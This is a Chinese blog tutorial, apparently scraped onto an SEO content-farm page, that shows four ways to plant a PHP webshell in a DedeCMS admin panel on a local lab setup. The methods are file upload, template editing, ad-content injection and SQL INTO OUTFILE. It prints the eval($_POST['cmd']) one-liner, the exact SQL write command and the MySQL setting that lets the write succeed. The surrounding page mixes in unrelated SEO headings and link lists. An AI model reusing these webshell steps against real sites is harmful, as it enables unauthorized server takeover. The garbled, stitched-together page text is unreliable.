当前位置: 首页 > news >正文

做地方分类信息网站需要什么资质吗免费发布广告信息平台

做地方分类信息网站需要什么资质吗,免费发布广告信息平台,郑州有名的设计公司,项目开发的五个阶段DedeCMS是织梦团队开发PHP 网站管理系统,它以简单、易用、高效为特色,组建出各种各样各具特色的网站,如地方门户、行业门户、政府及企事业站点等。 下载地址请网上自行寻找 搭建方式选择php study 首先搭建环境 #前台http://localhost/dedecm…

        DedeCMS是织梦团队开发PHP 网站管理系统,它以简单、易用、高效为特色,组建出各种各样各具特色的网站,如地方门户、行业门户、政府及企事业站点等。

        下载地址请网上自行寻找

        搭建方式选择php study

首先搭建环境

#前台http://localhost/dedecms/index.php?upcache=1
#后台http://localhost/dedecms/dede/
admin123是我注册的用户名密码

方法一、通过文件管理器上传WebShell

登陆到后台点击【核心】--》 【文件式管理器】--》【文件上传】 将准备好的一句话代码上传....OK

<?php phpinfo();eval($_POST['cmd']);?>

访问 使用冰蝎吧

 

链接成功

方法二、直接修改模板拿WebShel..点击【模板】--》【默认模板管理】-->【index.htm】-->【修改】在文件修改中添加一句话代码

        点击【生成】--》【更新主页HTML】--》将主页位置修改为【./index.php】--》点击 【生成静态】--》点击 【更新主页】  再次访问站点首页可发现变化.….

链接成功

方法三、后台任意命令执行拿WebShell

        点击 【模块】--》「【广告管理】--》 【增加一个新广告】--》在【广告内容】 处添加一句话代码--》点击 【确定】

点击【代码】--》在图中显示的路径与站点进行拼接.…访问测试!

文件存在,尝试连接,一开始连不上,把代码中phpinfo去了,只剩下木马即可连接成功

方法四 sql命令行植入

位于系统-sql命令行工具-写入代码

select  "<?php phpinfo();@eval($_POST[cmd]);" into outfile "C:/phpstudy_pro/WWW/uploads/999.php" 

应该是访问即可,但博主的实验中文件没有生成成功,中午了,博主吃饭去了,如果下午想起来可以再试试

下午回来了,经过查验得知

mysql 里的my.ini中添加一行

secure_file_priv=''这样才能写入sql语句成功

http://www.mmbaike.com/news/46122.html

相关文章:

  • 昆明市网站建设免费培训网站
  • 淘宝客做软件网站app宁波网站推广优化哪家正规
  • 婚庆公司创业计划书seo工具有哪些
  • 安庆做网站公司广州优化公司哪家好
  • 学做网站视频论坛个人网页设计作品模板
  • 重庆做企业网站百度查一下
  • 新乡市延津县建设局网站二十条疫情优化措施
  • 网站移动端适配怎么做百度指数功能有哪些
  • 网站设计作用企业课程培训
  • 移动微网站抖音流量推广神器软件
  • 网站建设公司 北京seozhun
  • 卢湾网站建设seo是哪个国家
  • 网站做微信支付中国十大电商公司排名
  • 在百度里面做网站要多少钱北京cms建站模板
  • 河南建设工程造价管理协会网站免费跨国浏览器
  • 网站运营工作seo搜索引擎优化人员
  • 网站更名策划方案西安网络seo公司
  • 阿里云网站建设套餐seo外包服务项目
  • 做网站用dramwaver还是vs西安seo优化排名
  • 乔拓云在线设计网站我想注册一个网站怎么注册
  • 电商网站设计与制作总结全国疫情高峰感染高峰进度查询
  • 网站建设和管理网址查询域名
  • 中卫网站建设多少钱网站模板免费下载
  • 深圳开发的购物网站今日北京新闻
  • 北京做胃镜哪好德胜门网站Iseo推广优化平台
  • 黑白网站设计seo技术蜘蛛屯
  • 做网站用html还是python好seo没什么作用了
  • 基于web的资源共享网站开发视频网站设计公司苏州
  • 陕西建设网官方网站如何引流推广产品
  • 服务类型网站开发需要哪些技术网站排名靠前的方法